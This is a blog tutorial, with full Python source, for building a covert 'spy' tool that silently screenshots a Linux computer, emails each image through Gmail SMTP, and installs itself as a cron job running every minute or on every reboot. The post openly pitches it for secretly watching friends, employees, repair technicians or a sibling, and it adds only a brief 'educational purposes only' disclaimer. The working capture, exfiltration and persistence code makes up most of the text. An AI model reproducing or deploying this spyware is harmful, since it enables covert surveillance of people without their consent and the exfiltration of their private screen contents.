We are going to talk about a very important topic today. But I want you to imagine something. Let’s say one of your friends wanted to borrow your laptop for somedays. Or you gave your laptop to a guy who is gonna fix some software issues. Or maybe you want to spy on your employee for some reason. All you need is to see a screenshot after every certain amount of time. Or maybe you wanna check what your younger brother doing on his computer. You need information for some ethical reasons or your personal or business safety. We will build a solution for that. Which can be optimized in many ways later.
Objectives
- Take a screenshot of the target computer.
- Send the screenshot to an email address.
- Add this task to Cron job programmatically.
Prerequisites
- Linux (mine is ubuntu 18.04)
- Python3
- pip
- venv
- pyscreenshot==2.2
- Pillow==7.2.0
Environment Setup & Installation
Always remember, whenever you are becoming a crazy horse to build a new python project, just hold that horse for a few seconds. Set up a virtual environment first and thank me later. Go to your favorite directory and follow the steps
python3 -m venv my_env
cd my_env
Now we need to activate the virtual environment. And then we need to install python-crontab, Pillow, and pyscreenshoot packages.
. bin/activate pip install python-crontab
pip install Pillow pyscreenshot
Now create our project repository. We will call our project spy.
mkdir spy
Application Structure
In our assets folder, the screenshot will be stored. Our cronjob package will be responsible for the core functionality for setting cron job programmatically. The spy_action package is the core package for this task. This will contain the action for taking a screenshot and sending it to your email.
. ├── assets │ └── fullscreen.png ├── cronjob │ ├── __init__.py │ └── scheduler.py ├── spy_action │ ├── __init__.py │ ├── mail.py │ └── screenshot.py └── spy.py ├── run.py ├── settings.py
Config our settings.py
In our settings.py file, we will set our emails and credentials. In your case keep them in .env file and call them into settings.py. We will also set some location path in variables.
import os SENDER_EMAIL = "sender@gmail.com" SENDER_PASSWORD = "gmail app password" RECEIVER_EMAIL = "receiver@gmail.com" directory = os.path.dirname(os.path.realpath(__file__)).rsplit(os.sep, 2) project_root_dir = directory[0] + "/" + directory[1] + "/" + directory[2] venv_directory = directory[0] + "/" + directory[1] python_location = venv_directory + '/bin/python3' executive_file = directory[0] + "/" + directory[1] + "/" + directory[2] + '/spy.py' cron_job_command = python_location + " " + executive_file
Take Screenshot
In our spy_action/screenshot.py file, write the below code.
import pyscreenshot as ImageGrab from settings import project_root_dir def upload_path() -> str: return project_root_dir + '/assets/' def take_screenshot() -> dict: try: full_image_path = upload_path() + 'fullscreen.png' print(full_image_path) image = ImageGrab.grab() image.save(full_image_path) return dict(success=True, path=full_image_path) except Exception as error: print(error) return dict(success=False)
This file has 2 methods. One is upload_path() and another is take_screenshot(). In our upload_path() method we will set the path of upload folder and return it. And will invoke the method in the take_screenshot() method and will take the full screenshot of the computer.
To take the screenshot use,
image = ImageGrab.grab()
And to save it in our directory,
image.save(full_image_path)
Send image file to an email
Now our target is to monitor right? In this article, we used an email for monitoring. You can even use your custom web app to store the image. That’s mean you have to use python’s request library to make a post request. Inside your spy_action/mail.py file, import all the necessary things.
import os import smtplib from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart from settings import (SENDER_EMAIL, SENDER_PASSWORD, RECEIVER_EMAIL)
Then we need to prepare a mail content to send. Write the below method in the same file.
def prepare_mail(ImgFileName): """ Prepare mail content :rtype: object """ img_data = open(ImgFileName, 'rb').read() message = MIMEMultipart() message['Subject'] = 'SPY!' image = MIMEImage(img_data, name=os.path.basename(ImgFileName)) message.attach(image) return message
Then we actually need to send the mail content. To do that write the below method.
def send_mail(ImgFileName): """ Send the email :rtype: object """ mail = prepare_mail(ImgFileName) mailer = smtplib.SMTP('smtp.gmail.com', 587) mailer.ehlo() mailer.starttls() mailer.ehlo() mailer.login(SENDER_EMAIL, SENDER_PASSWORD) mailer.sendmail(SENDER_EMAIL, RECEIVER_EMAIL, mail.as_string()) mailer.quit()
After that, your mail.py file will look like this.
import os import smtplib from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart from settings import (SENDER_EMAIL, SENDER_PASSWORD, RECEIVER_EMAIL) def prepare_mail(ImgFileName): """ Prepare mail content :rtype: object """ img_data = open(ImgFileName, 'rb').read() message = MIMEMultipart() message['Subject'] = 'SPY!' image = MIMEImage(img_data, name=os.path.basename(ImgFileName)) message.attach(image) return message def send_mail(ImgFileName): """ Send the email :rtype: object """ mail = prepare_mail(ImgFileName) mailer = smtplib.SMTP('smtp.gmail.com', 587) mailer.ehlo() mailer.starttls() mailer.ehlo() mailer.login(SENDER_EMAIL, SENDER_PASSWORD) mailer.sendmail(SENDER_EMAIL, RECEIVER_EMAIL, mail.as_string()) mailer.quit()
Now in your spy.py file write the below code which will invoke those methods to finally send the proper screenshot.
from spy_action.mail import send_mail from spy_action.screenshot import take_screenshot def screen_catcher(): image = take_screenshot() send_mail(image["path"]) if __name__ == "__main__": screen_catcher()
The deadly cron-job
Now, it’s time, we will use the power of cronjob. In one of my previous articles, I talked about managing cronjob using python. Which you can find here. From that article, you will use some code. Where we will have a class that is responsible for adding a cronjob by a given command. There will also be some helping methods to set the schedule.
We will use the code in our cronjob/scheduler.py file.
""" ---------------------------------------------------------------------------- Scheduler module ---------------------------------------------------------------------------- 1. Can create cron jobs with specific time schedule Case Meaning @reboot Every boot @hourly 0 * * * * @daily 0 0 * * * @weekly 0 0 * * 0 @monthly 0 0 1 * * @yearly 0 0 1 1 * ---------------------------------------------------------------------------- 2. can remove all cron jobs ---------------------------------------------------------------------------- """ from crontab import CronTab, CronItem class Scheduler: """Scheduler class""" def __init__(self, command: str): """ Here we will initiate a Cron and set the command :param command: command to execute """ self.cron = CronTab(user=True) self.command = command def __create_cron_job(self) -> CronItem: """ Create a new job and return it :return: job """ job = self.cron.new(command=self.command) return job def minutely_execution(self) -> bool: """ Execute job every minute :return: """ try: job = self.__create_cron_job() job.minute.every(1) job.enable() self.cron.write() print(job) if self.cron.render(): print("done") return True print("failed") return False except Exception as error: print(error) return False def hourly_execution(self) -> bool: """ Execute job every hour :return: """ try: job = self.__create_cron_job() job.minute.on(0) job.hour.during(0, 23) job.enable() self.cron.write() if self.cron.render(): return True return False except Exception as error: print(error) return False def daily_execution(self) -> bool: """ Execute job every day :return: """ try: job = self.__create_cron_job() job.minute.on(0) job.hour.on(0) job.enable() self.cron.write() if self.cron.render(): return True return False except Exception as error: print(error) return False def weekly_execution(self) -> bool: """ Execute job every week :return: """ try: job = self.__create_cron_job() job.minute.on(0) job.hour.on(0) job.dow.on(1) job.enable() self.cron.write() if self.cron.render(): return True return False except Exception as error: print(error) return False def monthly_execution(self) -> bool: """ Execute job every month :return: """ try: job = self.__create_cron_job() job.minute.on(0) job.hour.on(0) job.day.on(1) job.month.during(1, 12) job.enable() self.cron.write() if self.cron.render(): return True return False except Exception as error: print(error) return False def yearly_execution(self) -> bool: """ Execute job every year :return: """ try: job = self.__create_cron_job() job.minute.on(0) job.hour.on(0) job.month.on(12) job.enable() self.cron.write() if self.cron.render(): return True return False except Exception as error: print(error) return False def execute_after_reboot(self) -> bool: """ Execute job after every reboot :return: """ try: job = self.__create_cron_job() job.every_reboot() job.enable() self.cron.write() if self.cron.render(): return True return False except Exception as error: print(error) return False def delete_all_jobs(self) -> bool: """ remove all cron jobs :return: """ try: self.cron.remove_all() return True except Exception as error: print(error) return False
Check it out, there are many useful methods.
Then in our run.py, we will add the spy.py file in a cronjob. That will execute every minute. Of course, you can change the schedule as you wish. You have all the methods in the cronjob/scheduler.py file.
from cronjob.scheduler import Scheduler from settings import cron_job_command if __name__ == "__main__": # Execute job scheduler = Scheduler(cron_job_command) scheduler.minutely_execution()
Never Stop Learning! But be ethical with scripts!
Well, there are many ways. You can build the whole app for Linux/Windows anytime you like. Or you can just run the run.py file and it will do the rest of the work. Be aware, do not use it for unethical purposes. I wrote this article for educational and self-security purposes only.
Full source code can be found in my Github repository: https://github.com/zim0101/spy_on_your_friend.